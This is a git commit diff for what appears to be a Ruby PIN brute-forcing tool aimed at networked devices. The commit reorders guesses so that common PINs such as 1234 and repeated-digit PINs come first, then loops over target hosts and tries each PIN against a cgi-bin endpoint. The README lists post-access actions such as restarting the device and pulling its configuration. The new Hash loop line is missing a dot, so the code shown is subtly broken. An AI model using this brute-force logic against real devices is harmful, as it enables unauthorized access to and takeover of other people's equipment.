fixing a logic bug when proritizing PINs

This commit is contained in:
Conor Horan-Kates 2016-07-08 01:01:11 -07:00
parent ef0df03636
commit fc2a9ac4af
2 changed files with 15 additions and 6 deletions

View File

@ -30,7 +30,6 @@ name | description
* DHCP, NTP settings
* name displayed
* etc
* upgrade firmware - need to do more digging here
* restart device
* pull logs/configuration

View File

@ -70,28 +70,38 @@ elsif mode.eql?(:range)
end
end
pins = 9999.downto(0).to_a
_pins = Hash.new
9999.downto(0).to_a each do |i|
_pins[i] = 1
end
prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
# TODO come up with way to generate patterns - keys that are nearby
# commonly used PINs that follow a pattern
0.upto(9) do |i|
prioritized << i * 1111
end
# TODO this is broken, once we delete/add, we change the order.. use a set instead? could go poor man hash style..
prioritized.each do |p|
pins.delete(p)
pins.unshift(p)
_pins.delete(p)
end
pins = [ prioritized, _pins.keys ].flatten # hackery
targets.each do |target|
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
puts sprintf('url: [%s]', url)
pins.each do |i|
pin = sprintf('%04d', i)
begin
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
puts sprintf('trying pin[%s]', pin)
puts sprintf(' trying pin[%s]', pin)
response = check_pin(url, pin)
responses << response